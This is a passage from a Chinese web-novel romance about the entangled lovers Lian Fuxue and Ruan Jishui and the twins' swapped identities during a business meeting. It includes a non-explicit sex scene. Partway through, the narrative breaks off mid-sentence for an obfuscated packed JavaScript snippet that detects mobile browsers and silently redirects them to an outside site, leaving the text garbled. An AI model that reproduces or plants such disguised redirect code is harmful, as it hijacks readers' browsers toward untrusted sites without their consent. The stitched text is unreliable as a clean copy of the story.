阮寄水被吓了一大跳,下意识转过头,见是连拂雪,圆圆的瞳仁微微瞪大,片刻后又勉强恢复了镇静: “怎么是你?” “怎么不能是我。”连拂雪拍了拍马身,惹得马打了一个响鼻,吓了阮寄水一大跳: “要不要我带你骑。” 阮寄水说:“不要。” 他说:“我自己会骑。” 言罢,他便忍着恐惧,在驯马师的指导下,慢慢爬上了马。 连拂雪一看到阮寄水那张清冷漂亮的脸,就心痒痒,恨不得再有什么机遇,把阮寄水搞上床。 但大庭广众之下,他也不可能对阮寄水做什么,反正闲着也是闲着,他便对驯马师道: “我会骑马,我帮他握着绳子,给我吧。” 驯马师迟疑了一会儿,看向阮寄水。 阮寄水没有吭声。 连拂雪便轻笑了一声,从驯马师的手里接过绳子,将马牵走了。 阮寄水应该不是 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“我也累了,借你的休息室休息休息,不过分吧。” 连拂雪顺手将门关上。 安静的休息室内,一时间只剩下了阮寄水和连拂雪两个人。 连拂雪垂头,看着站在他面前的阮寄水,片刻后伸出手,掌心抚上阮寄水的腰,猛地将他拉近自己。 两个人一时间呼吸相贴,鼻尖相磨,炙热的空气在带着香气的房间内流转,连拂雪一时间分辨不出自己闻到的郁金香的香味时房间香薰的味道,还是阮寄水身上上的味道。 但他顾不上这些,本来他也不是多耐心的人,视线在阮寄水侧过脸躲避他时的雪白脖颈和锁骨上转了一圈,声音逐渐哑了下来: “宝贝儿,想我没有。” 阮寄水伸出手推了他一下,半推半就的,没有回应他这句,只道: “前几天,我遇到了一个和你长得很像的人。” 连拂雪笑了一下:“真的吗?” “嗯。”阮寄水说:“但是我认出他不是你。” 连拂雪垂下头来,亲他的脖子和锁骨,含含糊糊道: “怎么认出来的?” “他看我的眼神,和你不一样。”阮寄水的上衣已经被扯开了,丢到地上,他被连拂雪推到沙发上坐下。 连拂雪膝盖顶开阮寄水的双腿,掌心托着阮寄水的后颈,居高临下地看着他: “那我看你是什么眼神?” 阮寄水掌心撑在沙发边上,仰起头,看着连拂雪,指尖慢慢收紧,一时间也答不上来,于是又垂下头,不言不语。 他不说话,连拂雪就强迫他仰起头来看着自己,命令道: “别低头,看着我。” 阮寄水在情事上生涩的像一张空白的纸,要不是稀里糊涂和连拂雪上了床,他根本不会对男人起一点的心思。 但是连拂雪的吻技和床技都太好了,简直到了炉火纯青的地步,阮寄水还没来得及纠结就再次被连拂雪带进了坑里。 两个小时后,连拂雪光着膀子坐在床上抽烟,阮寄水的脸藏在头发里,白净清透,脸颊上还浮着情事后的粉。 连拂雪睡完人神清气爽的,也乐得再和美人温存一会儿,抽完烟又躺了回去,从后面抱住阮寄水,轻声道: “宝贝困吗,再睡一会儿。” 阮寄水转过头,看向连拂雪,心想自己已经和连拂雪上了三次床了,应该算是已经谈恋爱了吧,于是便听话道: “好。” 连拂雪对一个东西很容易腻,所以睡同一个人从来不超过三次,今天已经是第三次了,准备睡完这次就和阮寄水说拜拜,于是便道: “宝贝儿,多谢你。” 他低下头,又亲了阮寄水一下,随即道: “我先走了。” 阮寄水闻言,猛地睁开眼睛,看向连拂雪,疑惑道: “你.......你不再睡会儿吗?” “我家里有事,就先走了。”连拂雪开始扯谎: “你好好休息,下次见。” 言罢,他换好衣服,毫不留恋地就离开了。 阮寄水躺在床上,看着连拂雪的背影,还不知道连拂雪说的下次见就是再也不见的意思,片刻后抿了抿唇,艰难地直起身,从口袋里,掏出那张保存了很久的属于连江雪的名片。 他鼓起勇气,按照名片上的联系方式,添加了连江雪的微信。 连江雪刚好睡醒,按亮手机屏幕,就看见阮寄水给自己发来了验证消息,上面只有简短的几个字“阮寄水”。 连江雪心里思忖了几秒,点击了通过,正准备和阮寄水约一个时间见面,谈一谈生意上的事情,下一秒,就见阮寄水发了一条消息过来,道: “连江雪,所以我们现在.........算是什么关系?” 连江雪:“........” 连江雪:“?” 17.第 17 章 阮寄水这没头没尾的一句话,让连江雪莫名有些懵。 他看着手机屏幕,斟酌犹豫许久,手指在屏幕上删删打打,才发出去一段自认为很正确的回答: “应该算........朋友吧。” 说合作伙伴太官方,那说朋友的话,肯定不会出错吧。 连江雪这么告诉自己。 他看着手机屏幕,屏息凝神等着阮寄水的回复,但没想到对话框里的“对方正在输入中.......”足足出现了一分钟,最后却什么回复也没有发过来。 连江雪:“.........” 他等了一会儿,最后连“对方正在输入中.......”都消失了,显然是阮寄水已经放弃和他交流了。 连江雪有些莫名其妙的,不知道自己这句话又哪里让阮寄水不开心了,想了一会儿,又道: “小阮总,下周有空见一面吗,boss想和您谈谈合作的事情。” 阮寄水隔了一会儿,才冷冰冰地回复道: “你自己和我助理约一个时间吧。” 连江雪:“.........” 不愧是冰美人啊,一句话甩过来,都能冻死人。 连江雪在心里腹诽,但面上却没有表现出来,等阮寄水话说完之后,他才回了一个官方的: “好的。” 并配了一个“OK”的手势。 .........阮寄水彻底不理他了。 连江雪只当对方性格高冷,也不见怪,自己从名诚集团的官网上找到阮寄水助理的联系方式,和对方表明了合作意向,助理表示会再进一步和阮寄水沟通见面的时间,让连江雪稍安勿躁。 连江雪性子平和,本来也不是焦躁的人,阮寄水助理让他等,他就等。 在医院养伤的时候,连拂雪隔三差五地就会来看连江雪。 俗话说,伤筋动骨一百天,连江雪在床上躺了一个月的时候,连云里终于有点急了。 他开始频繁要求和连江雪视频连线,每到这个时候,连江雪就会让连拂雪来替他视频,以免连云里看到他骨折的手。 “宝贝啊,你怎么还没回家呢,”连云里微微蹙起眉头,一幅很担忧的样子: “什么时候出差才能结束呢。” “快了,爸,”连拂雪瞄了一眼连江雪对他做的嘴型,复述道: “就快回来了。” “下周能回来吗?”连云里不放弃,继续道: “爸爸好想你的。” 连云里和连江雪父子之间,这样直接的亲昵表达让连拂雪面对镜头时,不由得有些晃神。 在他和江韵书的相处里,江韵书对他的表达方式永远都是命令式的语气占多,他几乎从来没有从江韵书的空中听到“宝贝”“我想你”“我爱你”这几个字。 江韵书似乎是天生就不善于表达,天生就没有多少表情,即便是对着自己这个亲生儿子,大多数时候也总是冷冰冰的,看向他的神情不像是在看儿子,而是仿佛在透过他,看着一个让他很憎恶痛恨的人。 他曾经猜想过或许江韵书恨的人是自己的母亲,但自从他记事起,他就从来没有从江韵书的口中听过有关自己母亲的只言片语,甚至连名字都不知道,老宅里的所有人,都对自己的母亲讳莫如深。 自己的母亲是一个什么样的人,又是什么模样长相,连拂雪统统不知道。 如果他有母亲的话........ “宝贝,宝贝?”连云里的询问将连拂雪的思绪拉回,连拂雪下意识抬起头,只见视频里的连云里正疑惑地看着他: “爸爸和你说话呢。” “......爸爸,我很快就回来了。”连拂雪回过神,道: “我下周就回来看你。” “真的吗?”连云里微微舒了舒眉,“那爸爸给你做你最爱吃的沙茶面和姜母鸭。” “谢谢........爸爸。” 连拂雪按照连江雪的口型,别扭地回复完,耐心地听完连云里唠叨了几句,才挂掉视频电话。 “你怎么和我爸说下周就能回去看他?” 连江雪躺在床上,蹙眉:“我伤还没好。” “下周我替你回家看叔叔。” 连拂雪说:“我感觉叔叔挺想你的,我们这样一直骗他,不太好。” 连江雪这才不说话了。 他看着连拂雪,许久后,才道: “那.......多谢你。” “不客气。”连拂雪笑了笑。 连江雪正想说些什么,放在手边的手机忽然震动了一下,他下意识转过头去看,片刻后似乎像是发现了什么,拿起手机解锁,将消息仔细看完之后,方舒眉道: “小阮总同意和我们见面了,地点定在下周四。” “真的啊。”连拂雪惊讶道: “看来他也不是那么不通人情。” 连江雪思索片刻,随即道: “小阮总是名诚集团的执行总裁,按道理,应该是柯云飞或者是你去见他。” “你用我的身份去呗,”连拂雪说: “下周四,我替你回家看你爸,陪陪叔叔。” “........行。”既然答应了要帮连拂雪挽回名诚的生意,连江雪就不会食言。 而且听说小阮总为人想来冷淡不近人情,用连拂雪的身份,更能显示腾云对此次合作的重视,希望能改善小阮总对腾云的印象吧。 下周四,连江雪双脚的扭伤好了一点,能够自如下地行走,就是手臂的骨折还没有好,还需要打着石膏。 看着镜子里西装革履但是打着石膏的自己,连江雪觉得莫名有些滑稽。 但没办法,等到他能拆石膏了,和名诚的合作估计也彻底黄了,不如趁现在,赶紧去和小阮总见面,说不定还有挽回的机会。 连江雪避开拥挤的人群,小心翼翼地往医院门口走,刚出了医院大门,一辆黑色的劳斯莱斯就停在了他面前。 车窗降下,露出助理的脸,对他恭敬点头: “连总。” 连江雪顿了顿,没说话,等到助理下了车,给他开了车门,他才坐了进去,道: “去名诚集团吧。” “好的。”助理掉转车头,将车看完名诚集团。 四十分钟后,车在名诚集团的旋转门前停下。 助理先下了车,给连江雪打开车门,连江雪下了车,抬头看了一眼熟悉的大楼,深吸一口气,才走了进去。 助理跟在他身后,进入旋转门。 出了旋转门,助理快步向前,来到前台,对前台小姐姐道: “你好,我们预约了今天九点四十和小阮总的见面。” “你好。”前台垂头看着电脑屏幕,随即道: “小阮总正在二十三楼A001会议室等你们。” “谢谢。”助理问清楚电梯方向之后,转过身对连江雪说: “连总,这边。” 连江雪对前台小姐姐点了点头,表示谢意,随即跟着助理,进入了电梯。 在上电梯的过程之中,连江雪看见电梯的数字从“1”逐渐跳到“12”,紧接着,电梯门打开,露出了一张熟悉的脸。 “这张海报做的不行,打回去重做。”阮寄情垂头看着平板,对身边的人道: “色彩和光影都不对,你们部门究竟是怎么审核的?” 连江雪第一次看见阮寄情面无表情的样子,一时间有些新奇,站在电梯里默不作声,直到阮寄情跨进电梯里,抬起头,看见连江雪,方一脸惊喜道: “连拂雪,是你啊。” 连江雪不知道阮寄情之前有没有见过连拂雪,以为对方认错了,但此时说自己是连江雪,显然是在打脸,于是便顺水推舟道: “早上好。” “你怎么来了。”阮寄情看了一眼助理,助理识相地走开,让出连江雪身边的位置给阮寄情。 他一走开,连江雪受伤的手就露了出来,阮寄情见状,脸上的笑意一僵,嘴角慢慢瞥了下来; “你手什么了?” “前段时间出了一个小车祸,手骨折了,不碍事。” 连江雪说: “你去几楼?我要去23楼。” “我......我也去23楼,找我哥说点事。” “那顺路。”连江雪示意助理关上电梯间的门,道: “一起上去吧。” “好。”阮寄情站在连江雪的身边,用眼角余光偷偷瞄连江雪的侧脸。 男人的侧脸英俊清冷,连眼底都好似凝着淡淡的浮冰,许是因为生病瘦了一些,显得身体愈发挺拔,像是一把锋利傲世的剑,自然而然地将阮寄情的视线吸引了过去。 阮寄情往他身边站去,鼻尖是连江雪身上淡淡的消毒水味道,应该是在医院沾上的。 多敬业有事业心的男人啊,生病骨折了,还亲自来谈生意。 阮寄情抿了抿唇,又偷偷瞄了一眼连江雪。 连江雪对阮寄情内心的想法一无所知,还在思考待会儿见到阮寄水,应该说些什么。 等到了23楼,阮寄情后退一步,让连江雪先出去,等到连江雪走出去之后,他才跟着连江雪走出去。 其实他刚刚撒谎了,他根本就不是来找阮寄水的,所以当他和连江雪一起进入会议室的时候,阮寄水看他的视线里充满了疑惑: “你怎么上来了?” “我找你有点事。”阮寄情偷偷摸摸地看了一眼连江雪,这样的视线落在阮寄水眼底,分外明显: “哥,你们聊,我在外面等你们。” 言罢,他就抬脚走出去了,还贴心地关上了会议室的门。 阮寄水:“........” 他眼底微闪,不知道想到什么,没有马上说话。 还是连江雪率先开口,打破了沉默,伸出手和阮寄水握手: “你好阮总,我是腾云科技的副总,连拂雪。” “你好。”阮寄水不着痕迹地往连江雪的身后看了一眼,道: “我记得,这次见面是你们公司的连江雪总监发出的,怎么他没有来。” 连江雪听到阮寄水提起自己,微微愣了愣,许久,才镇定下来,半真半假道: “他马上要离职了,所以不再负责公司里的事务。” “........离职?”阮寄水猛地一下站起来,视线紧紧盯着连江雪,微微失态道: “怎么忽然要离职?” “家里有事。”连江雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169355|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白阮寄水的反应怎么这么大,扯谎道: “他父亲身体不好,他要回家照顾他父亲。” “这样啊.......”阮寄水似乎是意识到了什么,又扶着桌子,缓缓坐下,道: “难怪他这几天都不联系我。” 原来不是故意不联系他的,是被事情绊住脚了。 阮寄水给连拂雪这连日来的忽冷忽热找到了理由和借口,心也慢慢放了下来,喃喃自语道。 连江雪没听清:“........什么?” “......没事。”阮寄水回过神来,道:“你今天来,是来谈合作的事情,对吧。” “是。”连江雪说: “方便透露一下您是为什么忽然中止合同签订吗?” “前段时间出了点事情,让我对令公司产生了误会。”阮寄水说: “我愿意恢复合作。” “.........”连拂雪没想到阮寄水这么痛快地就恢复了合作,他还以为自己还要磨一段时间,没想到阮寄水这么快就答应了。 他有些惊讶,但几秒钟之后,又收起了惊讶的神情,道: “那再好不过。” “合同初稿我会先发给您,您有什么意见,再和我这里沟通,沟通确定下来后,过几天我会将合同带过来,到时候麻烦小阮总出席合同签订。” 连江雪快刀斩乱麻: “可以吗?” “可以。”阮寄水双手交叠,坐在椅子上,颔首道: “辛苦了。” 连江雪顺势站起身,和阮寄水握了握手。 两个人说着话,朝门外走去,连江雪正想让阮寄水不要送了,余光里就看见阮寄情站在门前,似乎是在那里等了一会儿了。 看见阮寄水和连江雪走出来,阮寄情眼睛一亮,赶紧走上前来,道: “哥,你们聊完啦?” 他抬起手,看了一眼手表,道: “时间也不早了,中午要不要一起吃个饭?” 阮寄水哪里看不出他对连江雪的心思,于是道: “我就不去了,你代表名诚,帮我好好招待连总吧。” 连江雪忙道:“不用了,我也准备回公司了。” “一起吃个饭吧,不耽误多少时间的。”阮寄情的眼睛亮亮的,看着连江雪,让人不忍心拒绝: “我连餐厅都订好了。” 连江雪:“.........” 他想要拒绝,但又不好意思让阮寄情不开心,犹豫的功夫,阮寄情已经站到了他身边,对他说: “不说话就是同意了。” 他说:“我去开车!” 连江雪无法,只好转身对助理道:“你先回公司吧,我等会儿一个人回去。” 助理正想说话,阮寄情就抢先道: “我可以送你回去哒,我有车。” 助理:“.......” 他看着连江雪,又看了看阮寄情,片刻后似乎是明白了什么,笑了一下,离开了。 阮寄水也不想打扰他们,径直走了。 原地很快就只剩下阮寄情和连江雪。 “连拂雪,你喜欢吃什么菜呀。” 阮寄情很自然道: “我都不知道你喜欢吃什么口味的。” “.........我都行。” 连江雪慢半拍道:“我不挑食。” “好巧,我也不挑食。”阮寄情说: “那我们去吃云贵菜吧。” “好。”连江雪随口应了。 两个人前后走进电梯,连江雪伸出手,想要按电梯楼层,手指尖却和旁边伸过来的一只手碰在一起,摩擦出淡淡的温热。 “.......” 连江雪感觉自己的手指被轻轻蹭了一下,下意识看了阮寄情一眼。 阮寄情垂着头,指尖往前伸了伸,按下了电梯按钮,一副无事发生的模样。 连江雪疑心自己多想了,同样也收回手,视线看着逐渐关上的电梯门。 电梯门内一时间只剩下连江雪和阮寄情。 连江雪正思考着要和阮寄情说什么话,气氛才不会冷场,就听见阮寄情开了口: “你的手是怎么伤的。” “车祸。”连江雪随口道: “自己开车不小心,撞的。” “是么。” 阮寄情说: “撞你的人抓到了吗?” “没有。”连江雪说:“让他跑了。” 闻言,阮寄情若有所思。 连江雪不愿意继续这个话题,想要跳过,于是等电梯门打开后,他才道: “走吧,门开了。” 阮寄情闻言,听话地走出电梯。 他跟在连江雪的身后,看着连江雪大步往前走的背影,片刻后,小跑几步跟上连江雪,道: “我帮你找到撞你的那个人,作为交换,你和我date一天,怎么样?” 连江雪光顾着往前走了,没听清: “什么一天?” “date。”阮寄情的英文发音很清晰,一字一句道: “和我约会吧,连拂雪。” 连江雪:“.........”